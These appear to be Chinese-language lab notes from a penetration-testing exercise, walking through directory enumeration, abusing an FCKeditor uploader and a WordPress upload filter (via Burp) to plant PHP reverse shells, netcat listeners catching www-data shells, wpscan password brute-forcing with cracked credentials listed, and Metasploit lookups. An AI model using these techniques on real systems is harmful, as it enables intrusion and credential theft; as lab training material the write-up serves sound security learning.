+ /admin/index.html: Admin login page/section found.
+ 7941 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-02-26 07:24:25 (GMT-5) (272 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
連連看主網頁:
連到到public,但也是連到主網頁:
發現沒有東西可以打,再用dirb,dirb可以亂猜可能的目錄,並測試是否真的存在:
┌──(root㉿kali)-[~]
└─# dirb http://sales.itop.com.tw/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 00:40:16 2023
URL_BASE: http://sales.itop.com.tw/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://sales.itop.com.tw/ ----
+ http://sales.itop.com.tw/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://sales.itop.com.tw/public/
+ http://sales.itop.com.tw/server-status (CODE:403|SIZE:297)
==> DIRECTORY: http://sales.itop.com.tw/upload/
---- Entering directory: http://sales.itop.com.tw/public/ ----
==> DIRECTORY: http://sales.itop.com.tw/public/file/
==> DIRECTORY: http://sales.itop.com.tw/public/flash/
==> DIRECTORY: http://sales.itop.com.tw/public/image/
+ http://sales.itop.com.tw/public/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://sales.itop.com.tw/public/media/
---- Entering directory: http://sales.itop.com.tw/upload/ ----
+ http://sales.itop.com.tw/upload/index.html (CODE:200|SIZE:141)
---- Entering directory: http://sales.itop.com.tw/public/file/ ----
+ http://sales.itop.com.tw/public/file/index.html (CODE:200|SIZE:141)
---- Entering directory: http://sales.itop.com.tw/public/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://sales.itop.com.tw/public/image/ ----
+ http://sales.itop.com.tw/public/image/index.html (CODE:200|SIZE:141)
---- Entering directory: http://sales.itop.com.tw/public/media/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Feb 27 00:48:30 2023
DOWNLOADED: 23060 - FOUND: 6
對market也做一樣的事:
┌──(root㉿kali)-[~]
└─# dirb http://market.itop.com.tw
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 00:41:28 2023
URL_BASE: http://market.itop.com.tw/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://market.itop.com.tw/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/
+ http://market.itop.com.tw/index.html (CODE:200|SIZE:141)
+ http://market.itop.com.tw/server-status (CODE:403|SIZE:298)
---- Entering directory: http://market.itop.com.tw/admin/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/
+ http://market.itop.com.tw/admin/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/
+ http://market.itop.com.tw/admin/fckeditor/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/_source/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/css/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/dialog/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/images/
+ http://market.itop.com.tw/admin/fckeditor/editor/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/js/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/lang/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/plugins/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/skins/
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/_source/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/dialog/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/skins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Feb 27 00:48:38 2023
DOWNLOADED: 18448 - FOUND: 5
連到market的其中一個目錄。
點進去connectors:
可以發現上傳頁面,先玩玩看:
點選Get Folders and Files
,可以發現黑色區域會顯示一些文字:
再試試看Create Folder
功能,創建test資料夾,看看會有什麼結果:
更改Current Folder
跟Resource Type
,看看結果:
這時如果爆破sales的目錄,可以發現剛剛market的修改卻卻反映到sales上:
再把剛剛用過的reverse shell的php重新命名並上傳:
上傳以後再去按下圖的1:
攻擊機監聽:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8082
listening on [any] 8082 ...
連到reverse shell的網址
問題:到底如何找上傳後的路徑?
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8082
listening on [any] 8082 ...
connect to [192.168.200.3] from (UNKNOWN) [172.16.1.134] 41602
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
15:20:13 up 1 day, 1:18, 2 users, load average: 0.29, 0.10, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :0 :0 16Apr21 ?xdm? 58:30 0.10s init --user
jason pts/0 :0 15Dec21 439days 0.04s 0.04s bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
找特定檔案套路:
$ find / -type f -name secret.txt 2>/dev/null
/home/jason/Documents/secret.txt
$ cat /home/jason/Documents/secret.txt
Thr1amb0S
nmap掃過後發現80 port,用nikto看有哪些目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://172.16.1.134
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: 172.16.1.134
+ Target Port: 80
+ Start Time: 2023-02-27 02:53:15 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2cf6, size: 597701736c404, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7923 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-02-27 02:56:14 (GMT-5) (179 seconds)
---------------------------------------------------------------------------
只找到預設文件:
再用dirb看有無更多目錄:
┌──(root㉿kali)-[~]
└─# dirb http://172.16.1.134
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 02:58:51 2023
URL_BASE: http://172.16.1.134/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.1.134/ ----
+ http://172.16.1.134/index.html (CODE:200|SIZE:11510)
+ http://172.16.1.134/server-status (CODE:403|SIZE:292)
-----------------
END_TIME: Mon Feb 27 02:59:56 2023
DOWNLOADED: 4612 - FOUND: 2
gobuster是另一個暴力猜目錄的工具:
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt --url http://172.16.1.134
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.16.1.134
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/combined_directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/27 03:20:15 Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 292]
Progress: 100187 / 1377711 (7.27%)[ERROR] 2023/02/27 03:23:41 [!] parse "http://172.16.1.134/error\x1f_log": net/url: invalid control character in URL
/.htpasswd (Status: 403) [Size: 288]
/.htaccess (Status: 403) [Size: 288]
/index.html (Status: 200) [Size: 11510]
/.hta (Status: 403) [Size: 283]
/.html (Status: 403) [Size: 284]
/.php (Status: 403) [Size: 283]
/.htm (Status: 403) [Size: 283]
/. (Status: 200) [Size: 11510]
/.php3 (Status: 403) [Size: 284]
/.phtml (Status: 403) [Size: 285]
/.htc (Status: 403) [Size: 283]
/.php5 (Status: 403) [Size: 284]
/.html_var_de (Status: 403) [Size: 291]
/.php4 (Status: 403) [Size: 284]
/.html. (Status: 403) [Size: 285]
/.html.html (Status: 403) [Size: 289]
/.htpasswds (Status: 403) [Size: 289]
/.htm. (Status: 403) [Size: 284]
/.htmll (Status: 403) [Size: 285]
/.phps (Status: 403) [Size: 284]
/.html.old (Status: 403) [Size: 288]
/.html.bak (Status: 403) [Size: 288]
/.ht (Status: 403) [Size: 282]
/.htm.htm (Status: 403) [Size: 287]
/.htgroup (Status: 403) [Size: 287]
/.html1 (Status: 403) [Size: 285]
/.html.printable (Status: 403) [Size: 294]
/.html.lck (Status: 403) [Size: 288]
/.htm.lck (Status: 403) [Size: 287]
/.htaccess.bak (Status: 403) [Size: 292]
/.html.php (Status: 403) [Size: 288]
/.htmls (Status: 403) [Size: 285]
/.htx (Status: 403) [Size: 283]
/.html- (Status: 403) [Size: 285]
/.htlm (Status: 403) [Size: 284]
/.htm2 (Status: 403) [Size: 284]
/.htuser (Status: 403) [Size: 286]
/.html_var_DE (Status: 403) [Size: 291]
/.html.LCK (Status: 403) [Size: 288]
/.htm.LCK (Status: 403) [Size: 287]
/.htm.d (Status: 403) [Size: 285]
/.htm.html (Status: 403) [Size: 288]
/.htacess (Status: 403) [Size: 287]
/.htmlprint (Status: 403) [Size: 289]
/.hts (Status: 403) [Size: 283]
/.html_files (Status: 403) [Size: 290]
/.html_ (Status: 403) [Size: 285]
/.html.sav (Status: 403) [Size: 288]
/.html.orig (Status: 403) [Size: 289]
/.html-1 (Status: 403) [Size: 286]
/.htm.old (Status: 403) [Size: 287]
/.htmlpar (Status: 403) [Size: 287]
/.htaccess.old (Status: 403) [Size: 292]
/.htm.bak (Status: 403) [Size: 287]
/.htm3 (Status: 403) [Size: 284]
/.htm.rc (Status: 403) [Size: 286]
/.html-- (Status: 403) [Size: 286]
/.html-0 (Status: 403) [Size: 286]
/.htm8 (Status: 403) [Size: 284]
/.htm_ (Status: 403) [Size: 284]
/.html-2 (Status: 403) [Size: 286]
/.html-c (Status: 403) [Size: 286]
/.htm7 (Status: 403) [Size: 284]
/.htm5 (Status: 403) [Size: 284]
/.html-old (Status: 403) [Size: 288]
/.html-p (Status: 403) [Size: 286]
/.html.htm (Status: 403) [Size: 288]
/.html.images (Status: 403) [Size: 291]
/.html.none (Status: 403) [Size: 289]
/.html.inc (Status: 403) [Size: 288]
/.html.pdf (Status: 403) [Size: 288]
/.html.txt (Status: 403) [Size: 288]
/.html.start (Status: 403) [Size: 290]
/.html4 (Status: 403) [Size: 285]
/.html_old (Status: 403) [Size: 288]
/.html7 (Status: 403) [Size: 285]
/.htmlbak (Status: 403) [Size: 287]
/.html5 (Status: 403) [Size: 285]
/.htmldolmetschen (Status: 403) [Size: 295]
/.htmlu (Status: 403) [Size: 285]
/.htmlq (Status: 403) [Size: 285]
/.htmlfeed (Status: 403) [Size: 288]
/.htmlc (Status: 403) [Size: 285]
/.htmla (Status: 403) [Size: 285]
/.htn (Status: 403) [Size: 283]
/.pht (Status: 403) [Size: 283]
/.htmlDolmetschen (Status: 403) [Size: 295]
/.htmlBAK (Status: 403) [Size: 287]
Progress: 1377681 / 1377711 (100.00%)
===============================================================
2023/02/27 04:08:23 Finished
===============================================================
常用列舉工具所屬種類:
bind shell?
另一個實驗環境:
起手式,當然是先nmap:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.222 172.16.1.176 172.16.19.9
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 03:25 EST
Nmap scan report for 172.16.1.222
Host is up (0.095s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.19.9
Host is up (0.042s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap done: 3 IP addresses (2 hosts up) scanned in 54.84 seconds
看看80 port有什麼:
點上圖log in卻連不到
連不到的原因:
再次編輯/etc/hosts,新增下圖紅線那一行:
這一次就可以連到:
用wpscan來掃描弱點、帳號:
┌──(root㉿kali)-[~]
└─# wpscan --url http://wpress.itop.com.tw/ -e vt,vp,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://wpress.itop.com.tw/ [172.16.1.222]
[+] Started: Mon Feb 27 06:11:51 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wpress.itop.com.tw/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wpress.itop.com.tw/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://wpress.itop.com.tw/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wpress.itop.com.tw/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.12 identified (Insecure, released on 2021-09-09).
| Found By: Rss Generator (Passive Detection)
| - http://wpress.itop.com.tw/index.php/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
| - http://wpress.itop.com.tw/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:02 <> (493 / 493) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jason
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://wpress.itop.com.tw/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] alvin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] james
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Feb 27 06:11:59 2023
[+] Requests Done: 525
[+] Cached Requests: 39
[+] Data Sent: 142.959 KB
[+] Data Received: 164.905 KB
[+] Memory used: 261.918 MB
[+] Elapsed time: 00:00:07
知道了帳號,就可以爆破密碼:
┌──(root㉿kali)-[~]
└─# wpscan --url http://wpress.itop.com.tw -U "jason,tom,john,james,alvin" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://wpress.itop.com.tw/ [172.16.1.222]
[+] Started: Mon Feb 27 06:16:50 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wpress.itop.com.tw/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wpress.itop.com.tw/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://wpress.itop.com.tw/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wpress.itop.com.tw/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.12 identified (Insecure, released on 2021-09-09).
| Found By: Rss Generator (Passive Detection)
| - http://wpress.itop.com.tw/index.php/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
| - http://wpress.itop.com.tw/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wp-responsive-thumbnail-slider
| Location: http://wpress.itop.com.tw/wp-content/plugins/wp-responsive-thumbnail-slider/
| Last Updated: 2022-11-07T03:23:00.000Z
| [!] The version is out of date, the latest version is 1.1.9
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1.1 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://wpress.itop.com.tw/wp-content/plugins/wp-responsive-thumbnail-slider/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://wpress.itop.com.tw/wp-content/plugins/wp-responsive-thumbnail-slider/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <=> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - john / iloveyou
Trying james / 1q2w3e4r5t Time: 00:00:32 <> (1549 / 500051) 0.30% ETA: 02:56:1[SUCCESS] - alvin / apollo
...
[!] Valid Combinations Found:
| Username: john, Password: iloveyou
| Username: alvin, Password: apollo
| Username: tom, Password: P@ssw0rd
| Username: james, Password: 1qaz@WSX
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Feb 27 07:18:41 2023
[+] Requests Done: 167102
[+] Cached Requests: 5
[+] Data Sent: 86.113 MB
[+] Data Received: 98.724 MB
[+] Memory used: 265.68 MB
[+] Elapsed time: 01:01:51
用john的帳密登入,看plugin:
找找最下面的plugin有沒有弱點:
┌──(root㉿kali)-[~]
└─# msfconsole
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Use the edit command to open the
currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search Thumbnail
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/fileformat/evince_cbt_cmd_injection 2017-07-13 excellent No Evince CBT File Command Injection
1 exploit/windows/fileformat/ms11_006_createsizeddibsection 2010-12-15 great No MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
2 exploit/linux/http/railo_cfml_rfi 2014-08-26 excellent Yes Railo Remote File Include
3 exploit/multi/http/wp_responsive_thumbnail_slider_upload 2015-08-28 excellent Yes WordPress Responsive Thumbnail Slider Arbitrary File Upload
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/wp_responsive_thumbnail_slider_upload
可以發現其實此poc適用於1.0,但現在是1.1所以失敗,但可以試試別的user,但alvin也失敗。
既然wp的外掛不行,那就只好傳傳看reverse shell:
上傳步驟:
注意上傳前開啟burp suite,並開啟itersept,如果itersept跳出字,就點左上角forward。
而上傳後,可能出現:
代表被擋下來。
看看intercept:
在forward途中,出現以上畫面時,把.jpg
這些字刪掉再繼續forward,看能不能躲避檢查。
forward完成後(變回空白),把intercept關掉,再看看:
可以發現成功上傳,上圖反白處就可以得知上傳到哪裡,所以可以先讓攻擊機監聽了:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8083
listening on [any] 8083 ...
連到reverse shell網址:
這時攻擊機就可以get shell:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8083
listening on [any] 8083 ...
connect to [192.168.200.3] from (UNKNOWN) [172.16.1.222] 44484
Linux localhost.localdomain 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2 (2019-08-28) x86_64 GNU/Linux
07:06:44 up 16:04, 1 user, load average: 0.36, 0.33, 0.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :1 :1 21May21 ?xdm? 14:38 0.02s /usr/lib/gdm3/gdm-x-session --run-script /usr/bin/gnome-session
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
aaa查看一下這一台IP有沒有機會連到真正想打的端點:
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:0a:66:05 brd ff:ff:ff:ff:ff:ff
inet 172.16.1.222/16 brd 172.16.255.255 scope global noprefixroute eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fe0a:6605/64 scope link noprefixroute
valid_lft forever preferred_lft forever
ping 一下:
$ ping 172.20.20.5
PING 172.20.20.5 (172.20.20.5) 56(84) bytes of data.
From 172.16.1.1 icmp_seq=2 Destination Port Unreachable
From 172.16.1.1 icmp_seq=3 Destination Port Unreachable
From 172.16.1.1 icmp_seq=4 Destination Port Unreachable
可以知道這一台對於攻擊172.20.20.5
沒有用。
打下一台:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -p135,139,445,3389 -sC -sV -O -A 172.16.19.9
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 07:15 EST
Nmap scan report for 172.16.19.9
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=FRANKLIN
| Not valid before: 2023-02-26T10:01:57
|_Not valid after: 2023-08-28T10:01:57
|_ssl-date: 2023-02-27T12:16:30+00:00; -2s from scanner time.
| rdp-ntlm-info:
| Target_Name: FRANKLIN
| NetBIOS_Domain_Name: FRANKLIN
| NetBIOS_Computer_Name: FRANKLIN
| DNS_Domain_Name: FRANKLIN
| DNS_Computer_Name: FRANKLIN
| Product_Version: 6.3.9600
|_ System_Time: 2023-02-27T12:16:25+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 (93%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows 7 Professional (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-27T12:16:24
|_ start_date: 2023-02-27T10:01:53
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
